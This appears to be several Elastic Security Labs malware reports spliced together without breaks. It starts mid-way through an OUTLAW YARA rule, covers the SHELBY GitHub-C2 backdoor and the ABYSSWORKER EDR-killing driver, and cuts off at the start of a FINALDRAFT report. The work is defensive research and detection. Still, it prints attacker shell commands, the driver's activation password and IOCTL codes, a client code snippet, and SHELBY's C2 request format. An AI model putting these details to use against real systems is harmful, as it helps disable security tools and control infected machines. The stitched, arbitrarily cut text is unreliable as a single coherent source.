        $ssh_key_2 = "MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ"
        $ssh_key_3 = "UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H"
        $ssh_key_4 = "O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g"
        $path_1 = "/home/eax/up"
        $path_2 = "/var/tmp/dota"
        $path_3 = "/dev/shm/ip"
        $path_4 = "/dev/shm/p"
        $path_5 = "/var/tmp/.systemcache"
        $cmd_1 = "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"
        $cmd_2 = "cd ~; chattr -ia .ssh; lockr -ia .ssh"
        $cmd_3 = "sort -R b | awk '{ if ( NF == 2 ) print } '> p || cat b | awk '{ if ( NF == 2 ) print } '> p; sort -R a"
        $cmd_4 = "rm -rf /var/tmp/dota*"
        $cmd_5 = "rm -rf a b c d p ip ab.tar.gz"
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}

SIEM and Endpoint Rules Overview by MITRE ATT&CK Tactic

Conclusion

OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.

Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.

By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.

References

[1] CounterCraft, DOTA3 Malware Again and Again

[2] Juniper Networks, DOTA3: Is Your Internet of Things Device Moonlighting?

[3] SANS ISC, Hygiene Hygiene Hygiene

[4] Darktrace, Outlaw Returns: Uncovering Returning Features and New Tactics

• The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands
• The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability
• Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions

Summary

As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.

The phishing email relies on the victim opening the attached Details.zip file and executing the contained binary, JPerf-3.0.0.exe. This binary utilizes the script-driven installation system, Inno setup, that contains the malicious application:

• %AppData%\Local\Microsoft\HTTPApi:
  • HTTPApi.dll (SHELBYC2)
  • HTTPService.dll (SHELBYLOADER)
  • Microsoft.Http.Api.exe
  • Microsoft.Http.Api.exe.config

The installed Microsoft.Http.Api.exe is a benign .NET executable. Its primary purpose is to side-load the malicious HTTPService.dll. Once loaded, HTTPService.dll acts as the loader, initiating communication with GitHub for its command-and-control (C2).

The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, HTTPApi.dll. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.

As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.

SHELBYLOADER code analysis

Obfuscation

Both the loader and backdoor are obfuscated with the open-source tool Obfuscar, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage de4dot with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters --strtyp ( the type of string decrypter, in our case delegate) and --strtok ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.

Sandbox detection

SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:

Technique 1: WMI Query for System Information

The malware executes a WMI query (Select * from Win32_ComputerSystem) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as "VMware" or "VirtualBox."

Technique 2: Process Enumeration

The malware scans the running processes for known virtualization-related services, including:

• vmsrvc
• vmtools
• xenservice
• vboxservice
• vboxtray

The presence of these processes tells the malware that it may be running in a virtualized environment.

Technique 3: File System Checks

The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:

• C:\Windows\System32\drivers\VBoxMouse.sys
• C:\Windows\System32\drivers\VBoxGuest.sys
• C:\Windows\System32\drivers\vmhgfs.sys
• C:\Windows\System32\drivers\vmci.sys

Technique 4: Disk Size Analysis

The malware checks the size of the C: volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.

Technique 5: Parent Process Verification

The malware examines its parent process. If the parent process is not explorer.exe, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.

Technique 6: Sleep Time Deviation Detection

The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.

Technique 7: WMI Query for Video Controller

The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: virtual or vmware or vbox.

Core Functionality

The malware's loader code begins by initializing several variables within its main class constructor. These variables include:

• A GitHub account name
• A private repository name
• A Personal Access Token (PAT) for authenticating and accessing the repository

Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.

One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.

This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:

This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.

The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( / ):

• The number of processors available on the system.
• The name of the machine (hostname).
• The domain name associated with the user account.
• The username of the currently logged-in user.
• The total number of logical drives present on the system.

A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.

After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named Info.txt. This file stores the following information about the infected system:

• The domain name associated with the user account.
• The username of the currently logged-in user.
• The log of sandbox detection results detailing which techniques succeeded or failed.
• The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.
• The current date and time of the beaconing event

The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.

After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named License.txt (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.

The malware generates an AES key and initialization vector (IV) from the contents of License.txt. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.

It proceeds to decrypt the file HTTPApi.dll, which contains the backdoor payload. After decryption, the malware uses the Assembly.Load method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.

DNS-Based Keying Mechanism

Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.

First, the malware executes the same anti-sandboxing methods, creating a string of 1 or 0 depending on whether a sandbox is detected for each technique.

For its C2 registration, the malware builds a subdomain under arthurshelby.click with three parts: the first subdomain is a static string (s), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format DomainName\HostName >> Anti-Sandboxing Results >> Persistence Flag encoded in base32.

For example, a complete domain might look like s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click

After that, the malware executes multiple DNS queries to subdomains of arthurshelby.click. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.

The subdomains follow this format:

• The first subdomain is l<index>, where the index corresponds to the order of the DNS calls (e.g., l1, l2, etc.), ensuring the byte sequence is assembled correctly.
• The second subdomain is the unique identifier encoded in Base32.

SHELBYC2 code analysis

The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a Mutex to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string Global\GHS to the unique identifier.

After 65 seconds, the backdoor executes a method that collects the following system information:

• current user identity
• operating system version
• the process ID of the malware
• machine name
• current working directory

Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.

The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word "Vivante" translates to "alive" in French, which reflects the file's role as a heartbeat indicator for the compromised machine.

Next, the malware attempts to download the file Command.txt, which contains a list of commands issued by the operator for execution on the infected system.

If Command.txt contains no commands, the malware checks for commands in another file named Broadcast.txt. Unlike Command.txt, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.

Commands handling table:

Commands in the Command.txt file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.

/download

This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:

• The name of the file stored in the GitHub repository.
• The path where the file will be saved on the infected machine.

/upload

This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.

/dlextract

This command downloads a zip file from the GitHub repository (similar to /download), extracts its contents, and saves them to a specified directory on the machine.

/evoke

This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.

This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:

• The path to an AES-encrypted .NET binary previously downloaded to the infected machine.
• A value used to derive the AES key and IV.

System commands

Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.

Communication

The malware does not use the Git tool in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:

{
  "message": "Commit message",
  "content": "<base64 encoded content>",
  "sha": "<hash>"
}

The malware sets specific HTTP headers for the request, including:

• Accept: application/vnd.github.v3+json
• Content-Type: application/json
• Authorization: token <PAT_token>
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

The request is sent to the GitHub API endpoint, constructed as follows:

https://api.github.com/repos/<owner>/<repo>/contents/<unique identifier>/<file>

The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.

The way the malware is set up means that anyone with the PAT (Personal Access Token) can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.

SHELBY family conclusion

While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.

We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.

REF8685 campaign analysis

Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.

The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.

Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…

This email contains a call to action to address network alarms and a zipped attachment named details.zip. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (JPerf-3.0.0.exe), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.

While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that JPerf-3.0.0.exe (feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a) was included in a separate compressed archive (JPerf-3.0.0.zip)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named Setup.exe with an additional compressed archive (5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c).

Analysis of these files (JPerf-3.0.0.exe and Setup.exe) revealed the use of GitHub for C2 and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (arthurshellby and johnshelllby) used for the REF8685 malware were malicious and have been shut down by Github.

Of note, Arthur and John Shelby are characters in the British crime drama television series Peaky Blinders. The show was in production from 2013 to 2022.

The domain arthurshelby[.]click pointed to 2.56.126[.]151, a Stark Industries (AS44477) hosted server. This VPS hosting provider has been used for proxy services in other large-scale cyber attacks. This server has overlapping resolutions for:

• arthurshelby[.]click
• [REDACTED]telecom[.]digital
• speed-test[.]click
• [REDACTED]airport[.]cloud
• [REDACTED]airport[.]pro

The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.

“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).

[REDACTED]airport[.]cloud resolved to a new server, 2.56.126[.]157, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The 2.56.126[.]157 server, Stark Industries (AS44477) hosted, also hosts [REDACTED]-connect[.]online, [REDACTED] is the airport code for the [REDACTED] International Airport.

The domain [REDACTED]airport[.]cloud has a subdomain portal.[REDACTED]airport[.]cloud that briefly pointed to 2.56.126[.]188 from Jan 23-25, 2025. It then directed traffic to 172.86.68[.]55 until the time of writing.

Banner hash pivots reveal an additional server-domain combo: 195.16.74[.]138, [REDACTED]-meeting[.]online.

The 172.86.68[.].55 server also hosts mail.[REDACTED]tell[.]com, an apparent phishing domain targeting our original victim.

A web login page was hosted at hxxps://portal.[REDACTED]airport[.]cloud/Login (VirusTotal).

We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.

This weaponized internal email was used to re-phish their way onto victim endpoints.

All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.

The Diamond Model of intrusion analysis

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

REF8685 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Initial Access
• Defense Evasion
• Discovery
• Execution
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Reflective Code Loading
• Phishing
• Obfuscated Files or Information
• Command and Scripting Interpreter
• Exfiltration Over C2 Channel

YARA rule

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:

rule Windows_Trojan_ShelbyLoader {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyLoader"
        threat_name = "Windows.Trojan.ShelbyLoader"
        license = "Elastic License v2"

    strings:
        $a0 = "[WARN] Unusual parent process detected: "
        $a1 = "[ERROR] Exception in CheckParentProcess:" fullword
        $a2 = "[INFO] Sandbox Not Detected by CheckParentProcess" fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = "Persist ID: " fullword
        $b3 = "https://api.github.com/repos/" fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyC2"
        threat_name = "Windows.Trojan.ShelbyC2"
        license = "Elastic License v2"

    strings:
        $a0 = "File Uploaded Successfully" fullword
        $a1 = "/dlextract" fullword
        $a2 = "/evoke" fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

Cybercriminals are increasingly bringing their own drivers — either exploiting a vulnerable legitimate driver or using a custom-built driver to disable endpoint detection and response (EDR) systems and evade detection or prevention capabilities.

Elastic Security Labs has monitored a financially motivated campaign deploying MEDUSA ransomware through the use of a HEARTCRYPT-packed loader. This loader was deployed alongside a revoked certificate-signed driver from a Chinese vendor we call ABYSSWORKER, which it installs on the victim machine and then uses to target and silence different EDR vendors. This EDR-killer driver was recently reported by ConnectWise in another campaign, using a different certificate and IO control codes, at which time some of its capabilities were discussed. In 2022, Google Cloud Mandiant disclosed a malicious driver called POORTRY which we believe is the earliest mention of this driver.

In this article, we take an in-depth look at this driver, examining its various features and techniques. We also provide relative virtual addresses (RVA) under each reversed code screenshot to link the research with the reference sample, along with a small client example that you can use to further experiment with this malware.

Technical Analysis

PE header

The binary is a 64-bit Windows PE driver named smuol.sys, and imitates a legitimate CrowdStrike Falcon driver.

At the time of analysis, we found a dozen samples on VirusTotal, dating from 2024-08-08 to 2025-02-24. Most were VMProtect packed, but two — referenced in the observable tables below — weren’t protected.

All samples are signed using likely stolen, revoked certificates from Chinese companies. These certificates are widely known and shared across different malware samples and campaigns but are not specific to this driver. The certificate fingerprints are listed below:

Obfuscation

ABYSSWORKER uses functions that always return the same value, relying on a combination of opaque predicates and other derivation functions. For example, the zero-returning function below always returns a 0 based on hardcoded derived values.

Below is one of the derivation functions:

These constant-returning functions are called repeatedly throughout the binary to hinder static analysis. However, there are only three such functions, and they aren't used in any predicate but are simply called. We can easily identify them, making this an inefficient obfuscation scheme.

Initialization

Upon initialization, the driver begins by obtaining pointers to several kernel modules and its client protection feature, which will be discussed in the following sections.

Then, it creates a device with the path \\device\\czx9umpTReqbOOKF and a symbolic link with the path \\??\\fqg0Et4KlNt4s1JT.

It completes initialization by registering callbacks for its major functions.

Client protection on device opening

When the driver device is opened, the IRP_MJ_CREATE major callback is called. This function is responsible for adding the process ID to the list of processes to protect and for stripping any pre-existing handles to the target process from the list of running processes.

The function retrieves the process ID from the current kernel thread since the kernel callback is executed in the context of the client process when the device is opened.

Before adding the process ID to the protection list, ABYSSWORKER searches for and strips any existing handles to the client process in other running processes.

To achieve this, the malware iterates over existing processes by brute-forcing their Process IDs (PIDs) to avoid reliance on any API. For each process, it iterates over their handles, also using brute force, and checks if the underlying object corresponds to the client process. If a match is found, it strips the access rights using the value passed as a parameter (0x8bb).

Finally, it adds the PID to the global list of protected processes.

As mentioned earlier, the driver sets up its protection feature during the initialization phase. This protection relies on registering two pre-operation callbacks using the ObRegisterCallback API: one to detect the opening of handles to its protected processes and another to detect the opening of handles to the threads of those protected processes.

The two callbacks operate in the same way: they set the desired access for the handle to zero, effectively denying the creation of the handle.

DeviceIoControl handlers

Upon receiving a device I/O control request, ABYSSWORKER dispatches the request to handlers based on the I/O control code. These handlers cover a wide range of operations, from file manipulation to process and driver termination, providing a comprehensive toolset that can be used to terminate or permanently disable EDR systems.

We detail the different IO controls in the table below:

Enabling the malware (0x222080)

As discussed in this blog post, the client must enable the driver by sending a password (7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X) to the driver, in our case it’s through the 0x222080 IO control.

The handler simply compares the user input with the hardcoded password. If correct, it sets a global flag to true (1). This flag is checked in all other handlers to permit or deny execution.

Loading the API (0x2220c0)

Most handlers in the malware rely on kernel APIs that must be loaded using this handler. This handler loads these globals along with several structures, using the kernel module pointers previously loaded during initialization. Once the loading is complete, a global flag is set to signal the availability of these APIs.

This handler has two modes of operation: a full mode and a partial mode. In full mode, it loads the APIs using a mapping structure of function names and RVA provided by the user as input to the IO control. In partial mode, it searches for some of the APIs on its own but does not load all the APIs that are loaded in full mode, hence the term partial mode. If the user opts for partial mode due to the inability to provide this mapping structure, some handlers will not execute. In this chapter, we only cover the full mode of operation.

We detail the structures used below:

#define AM_NAME_LENGTH 256
typedef struct _struct_435
{
   uint64_t rva;
   char name[AM_NAME_LENGTH];
} struct_435_t;

#define AM_ARRAY_LENGTH 1024
typedef struct _struct_433
{
   struct_435_t array[AM_ARRAY_LENGTH];
   uint32_t length;
} struct_433_t;

We provide a short example of usage below:

struct_433_t api_mapping = {
    .length = 25,
    .array = {
        [0] = {.rva = 0xcec620, .name = "PspLoadImageNotifyRoutine"},
        [1] = {.rva = 0xcec220, .name = "PspCreateThreadNotifyRoutine"},
        [2] = {.rva = 0xcec420, .name = "PspCreateProcessNotifyRoutine"},
        // (...)
        [24] = {.rva = 0x250060, .name = "NtfsFsdShutdown"},
}};

uint32_t malware_load_api(HANDLE device)
{
    return send_ioctrl(device, IOCTRL_LOAD_API, &api_mapping, sizeof(struct_433_t), NULL, 0);
}

To load its API, the function starts by loading three 'callback lists' from different kernel object types. These are used by the handler that removes registered notification callbacks belonging to a specific module.

Then, it loads pointers to functions by using the provided structure, simply by searching for the function name and adding the associated RVA to the module's base address.

This is done for the following 25 functions:

• PspLoadImageNotifyRoutine
• PspCreateThreadNotifyRoutine
• PspCreateProcessNotifyRoutine
• CallbackListHead
• PspSetCreateProcessNotifyRoutine
• PspTerminateThreadByPointer
• PsTerminateProcess
• IopInvalidDeviceRequest
• ClassGlobalDispatch
• NtfsFsdRead
• NtfsFsdWrite
• NtfsFsdLockControl
• NtfsFsdDirectoryControl
• NtfsFsdClose
• NtfsFsdCleanup
• NtfsFsdCreate
• NtfsFsdDispatchWait
• NtfsFsdDispatchSwitch
• NtfsFsdDispatch
• NtfsFsdFlushBuffers
• NtfsFsdDeviceControl
• NtfsFsdFileSystemControl
• NtfsFsdSetInformation
• NtfsFsdPnp
• NtfsFsdShutdown

File copy and deletion (0x222184, 0x222180)

To copy or delete files, ABYSSWORKER relies on a strategy that, although not new, remains interesting. Instead of using a common API like NtCreateFile, an I/O Request Packet (IRP) is created from scratch and sent directly to the corresponding drive device containing the target file.

Creating a file

The file creation function is used to showcase how this mechanism works. The function starts by obtaining the drive device from the file path. Then, a new file object is created and linked to the target drive device, ensuring that the new object is properly linked to the drive.

Then, it creates a new IRP object and sets all the necessary data to perform the file creation operation. The major function targeted by this IRP is specified in the MajorFunction property, which, in this case, is set to IRP_MJ_CREATE, as expected for file creation.

Then, the malware sends the IRP to the target drive device. While it could have used the IoCallDriver API to do so, it instead sends the IRP manually by calling the corresponding device's major function.

At this point, the file object is valid for further use. The handler finishes its work by incrementing the reference counter of the file object and assigning it to its output parameter for later use.

Copying a file

To copy a file, ABYSSWORKER opens both the source and destination files, then reads (IRP_MJ_READ) from the source and writes (IRP_MJ_WRITE) to the destination.

Deleting a file

The deletion handler sets the file attribute to ATTRIBUTE_NORMAL to unprotect any read-only file and sets the file disposition to delete (disposition_info.DeleteFile = 1) to remove the file using the IRP_MJ_SET_INFORMATION IRP.

Notification callbacks removal by module name (0x222400)

Malware clients can use this handler to blind EDR products and their visibility. It searches for and removes all registered notification callbacks. The targeted callbacks are those registered with the following APIs:

• PsSetCreateProcessNotifyRoutine
• PsSetLoadImageNotifyRoutine
• PsSetCreateThreadNotifyRoutine
• ObRegisterCallbacks
• CmRegisterCallback

Additionally, it removes callbacks registered through a MiniFilter driver and, optionally, removes devices belonging to a specific module.

To delete those notification callbacks, the handler locates them using various methods, such as the three global callback lists previously loaded in the loading API handler, which contain callbacks registered with ObRegisterCallbacks and CmRegisterCallback. It then deletes them using the corresponding APIs, like ObUnRegisterCallbacks and CmUnRegisterCallbacks.

Blinding EDR using these methods deserves a whole blog post of its own. To keep this post concise, we won’t provide more details here, but we invite the reader to explore these methods in two well-documented projects that implement these techniques:

• EDRSandblast
• RealBlindingEDR

Replace driver major functions by module name 0x222404

Another way to interfere with a driver is by using this handler to replace all its major functions with a dummy function, thus disabling any interaction with the driver, given a target module name.

To achieve this, ABYSSWORKER iterates through the driver objects in the Driver and Filesystem object directories. For each driver object, it compares the underlying module name to the target module, and if they match, it replaces all of its major functions with IopInvalidDeviceRequest.

Detach mini filter devices (0x222440)

This handler iterates over all driver objects found in the Driver and FileSystem object directories. For each driver, it explores its device tree and detaches all devices associated with the mini filter driver: FltMgr.sys.

The function works by iterating over the devices of the driver through the AttachedDevice and NextDevice pointers, retrieving the module name of each device's associated driver, and comparing it to the target module name passed as a parameter (”FltMgr.sys”). If the names match, it uses the IoDetachDevice function to unlink the device.

Kill system threads by module name (0x222408)

This handler iterates over threads by brute-forcing their thread IDs and kills them if the thread is a system thread and its start address belongs to the targeted module.

To terminate the thread, the malware queues an APC (asynchronous procedure call) to execute code in the context of the targeted thread. Once executed, this code will, in turn, call PsTerminateSystemThread.

Terminate process and terminate thread (0x222144, 0x222140)

With these two handlers you can terminate any process or a thread by their PID or Thread ID (TID) using PsTerminateProcess and PsTerminateThread.

Removing hooks from Ntfs and Pnp drivers' major functions (0x222444)

On top of registering notification callbacks, some EDRs like to hook major functions of the NTFS and PNP drivers. To remove those hooks, the malware can call this driver to restore the original major functions of those drivers.

ABYSSWORKER simply iterates over each registered major function, checks if the function belongs to the driver module, and if not, it means the function has been hooked, so it replaces it with the original functions.

Reboot 0x222664

To reboot the machine, this handler uses the undocumented function HalReturnToFirmware.

Client implementation example

In this blog post, we provide a small client implementation example. This example works with the reference sample and was used to debug it, but doesn’t implement all the IOCTRLs for the driver and is unlikely to be updated in the future.

However, it contains all the functions to enable it and load its API, so we hope that any motivated reader, with the help of the information in this article, will be able to extend it and further experiment with this malware.

The repository of the project is available here.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Defense Evasion

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• File and Directory Permissions Modification
• Disable or Modify Tools
• Code Signing

Mitigations

YARA

Elastic Security has created the following YARA rules related to this post:

• https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar

Observations

The following observables were discussed in this research:

References

• Google Cloud Mandiant, Mandiant Intelligence. I Solemnly Swear My Driver Is Up to No Good: Hunting for Attestation Signed Malware. https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/
• Unit42, Jerome Tujague, Daniel Bunce. Crypted Hearts: Exposing the HeartCrypt Packer-as-a-Service Operation, December 13, 2024. https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/
• ConnectWise, Blake Eakin. "Attackers Leveraging Microsoft Teams Defaults and Quick Assist for Social Engineering Attacks", January 31 2025. https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/
• wavestone-cdt, Aug 30, 2024. https://github.com/wavestone-cdt/EDRSandblast/tree/master
• myzxcg, May 24, 2024. https://github.com/myzxcg/RealBlindingEDR

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

